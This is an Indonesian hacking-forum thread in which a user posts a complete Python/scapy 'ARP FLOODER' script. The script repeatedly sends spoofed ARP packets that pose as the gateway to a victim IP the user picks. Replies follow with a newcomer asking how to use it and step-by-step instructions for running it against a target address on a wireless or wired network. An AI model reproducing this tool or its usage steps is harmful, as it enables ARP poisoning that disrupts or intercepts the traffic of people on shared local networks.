03-10-2012, 01:27 PM
(03-07-2012, 11:09 PM)shinobi Wrote:(03-07-2012, 05:44 PM)shinobi Wrote:(09-24-2011, 02:14 AM)RR12 Wrote: Jadi yg dilakuin script ini adalah mengirim kan pake ARP tanpa henti dalam tempo yang sesingkat-singkatnya !!! hehehhe kayak proklamasi aja !!!
sy udah tes di jaringan wlan[non-MikroTik] n work .. mungkin ada om2 sekalian yg bisa bantu cek di jaringan yg pake MikroTik !!!
berikut scriptnya :
Code:#!/usr/bin/env python
from scapy.all import *
from time import sleep
import time
import sys, os, re, commands
def title():
if os.name == "posix":
os.system("clear")
else:
os.system("cls")
info = '''
_________________________
\ \______ \__ ___/
| || | _/ | |
| || | \ | |
|___||______ / |____| ARP FLOODER
\/
By RR12
Indonesian Backtrack Team
http://indonesianbacktrack.or.id
'''
for i in info:
print '\b%s' %(i),
sys.stdout.flush()
time.sleep(0.005)
print "\n"
def arpflood():
interface = raw_input(">] Input interface :")
conf.iface= interface
target = raw_input(">] Input target :")
target=target
arp_paket = ARP()
# IP Gateway
gw = commands.getoutput("ip route list | grep default").split()[2][0:]
arp_paket.psrc = gw
#IP Victim
arp_paket.pdst = target
#Mac
mac = commands.getoutput("ifconfig " + interface).split()[4][0:]
arp_paket.hwsrc = mac
sleep(3)
print '================================================'
print "[+] Interface : " + interface
print "[+] Gateway's IP Address : " + gw
print "[+] Your Mac Address : " + mac
print "[+] Victim\'s IP Address : " + target
print '================================================'
sleep(3)
print '''
>] Startting ARP Flooding ...
'''
try:
while 1:
send(arp_paket, verbose=0)
sleep(0.5)
except:
print '\n>] Process Stopped'
if __name__ == '__main__':
title()
try:
arpflood()
except KeyBoardInterrupt:
print '>] Exit'
ssnya ::
moga bisa nambah2 !!! hehehhe .. n ane minta masukan om2 semua !! maklum masih amatiraann !!! :badpc:
cara makek.a gmn om ?
kasi sexyan sama tutor,a donk ..
gak ngerti sama sekali ni om
(03-07-2012, 06:07 PM)xsan-lahci Wrote: coba baca comment dari awal bro tar juga paham
udah berulang" om gak ngerti jg aku ..
nubi banget masi, maklum .
jelasin donk om
simple kok om ...
> open terminal / konsole
> ketik : "python ARPFlooding.py" #dalam hal ini nama filenya ARPFlooding.py, disesuaikan saja
> akan muncul "Input interface : " . nah disini diisi sesuai dengan interface card yg sedang om gunakan .. misal wlan jika om lagi di jaringan nirkabel, dan eth0 jika ethernet/kabel/LAN
jadi misal ketik : "wlan0"
>muncul lagi "Input target :" , nah disini jelas yang diinput IP Address dari target yg hendak di serang ..
misal "Input target : 10.10.1.100"
> enter dan selesaaiiii
ditanya lagi jika masih ada masalah ..
NB : pastiin ada module "scapy" yahh . tapi klo di back|track dah built in ...
Thanksss ..